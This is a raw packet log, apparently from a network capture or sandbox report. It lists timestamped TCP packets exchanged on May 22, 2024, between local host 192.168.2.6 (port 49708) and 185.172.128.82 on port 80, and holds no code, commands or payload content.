May 22, 2024 20:06:30.279252052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.280901909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.280949116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.280972958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.280997038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.281023979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.281076908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.281163931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.281209946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.281234026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.281265974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.281289101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.281337976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.281569958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.281615973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.281641960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.281666994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.330018044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.330087900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.330132008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.330173969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.330205917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.330230951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.330265045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.330313921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.330470085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.330523968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.330771923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.330818892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.330845118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.330868959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.330898046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.330949068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.331341982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.331387997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.331432104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.331478119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.331528902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.331569910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.332129955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.332200050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.332422018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.332470894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.332490921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.332516909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.334723949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.334789991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.337680101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.337755919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.337796926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.337865114 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.338077068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.338124990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.338148117 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.338191032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.338212013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.338262081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.338711023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.338757992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.338836908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.338879108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.338900089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.338943958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.338967085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.339015961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.339396954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.339443922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.339468002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.339490891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.339519978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.339574099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.340116978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.340163946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.340190887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.340226889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.340253115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.340276003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.340306997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.340358973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.340375900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.340425014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.340950966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.340997934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.341017962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.341046095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.341074944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.341128111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.341566086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.341612101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.341635942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.341665030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.342073917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.342119932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.342144012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.342170000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.342199087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.342247963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.342264891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.342309952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.342335939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.342360973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.342973948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.343022108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.343040943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.343071938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.343101978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.343147993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.343168974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.343204021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.343826056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.343873978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.343904018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.343920946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.343944073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.343998909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.344012976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.344054937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.344074965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.344121933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.344764948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.344811916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.344835997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.344861031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.344890118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.344980001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.345002890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.345046043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.345611095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.345658064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.345681906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.345696926 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.345726013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.345776081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.345792055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.345839024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.345865011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.345891953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348129034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348176003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348195076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348248959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348274946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348320961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348345995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348380089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348407984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348453999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348475933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348510981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348537922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348588943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348607063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348654985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348676920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348712921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348738909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348787069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348805904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348896027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.348918915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348952055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.348979950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.349025965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.349047899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.349082947 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.349138975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.349184990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.349205971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.349241018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.349267006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.349314928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.349332094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.349378109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.349399090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.349441051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.350064993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.350112915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.350133896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.350172997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.350195885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.350241899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.350267887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.350291014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.350318909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.350364923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.350913048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.350958109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.350977898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.351006985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.351649046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.351696968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.351722956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.351749897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.351777077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.351824045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.352114916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.352161884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.352181911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.352212906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.352241993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.352292061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.352308989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.352364063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.352377892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.352421045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.352986097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.353041887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.353055954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.353096008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.353120089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.353166103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.353188992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.353223085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.353862047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.353908062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.353926897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.353956938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.353985071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.354032040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.354055882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.354079008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.354108095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.354156971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.354732990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.354782104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.354803085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.354835987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.354863882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.354908943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.354928970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.354980946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.355586052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.355633974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.355659008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.355693102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.355715036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.355762959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.355781078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.355834961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.355849981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.355882883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.356482029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.356529951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.356554985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.356589079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.356610060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.356656075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.356676102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.356718063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.357270002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.357316971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.357341051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.357367039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.439779997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.439904928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.439970970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440009117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.440054893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.440102100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.440150023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.440180063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440180063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440180063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440180063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440222025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440434933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.440509081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.440529108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440560102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440587997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.440637112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.440654039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.440702915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.441262007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.441318035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.441333055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.441370010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.441399097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.441452026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.441466093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.441502094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.444485903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.444534063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.444557905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.444583893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.452981949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.453063965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.453124046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.453187943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.453345060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.453434944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.453577042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.453627110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.453643084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.453690052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.453710079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.453761101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.454255104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.454309940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.454324007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.454359055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.454381943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.454436064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.454449892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.454513073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.454539061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.454592943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.454607010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.454641104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.455095053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.455142021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.455163956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.455202103 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.455225945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.455281973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.455296040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.455329895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.455355883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.455451965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.455936909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.455986977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.456017971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.456048012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.456406116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.456454039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.456487894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.456501961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.456526041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.456577063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.456592083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.456645012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.456659079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.456691980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.457283020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.457330942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.457354069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.457389116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.457416058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.457468987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.457483053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.457515955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.457544088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.457592010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.458152056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.458198071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.458224058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.458251953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.458278894 CEST	80	49708	185.172.128.82	192.168.2.6
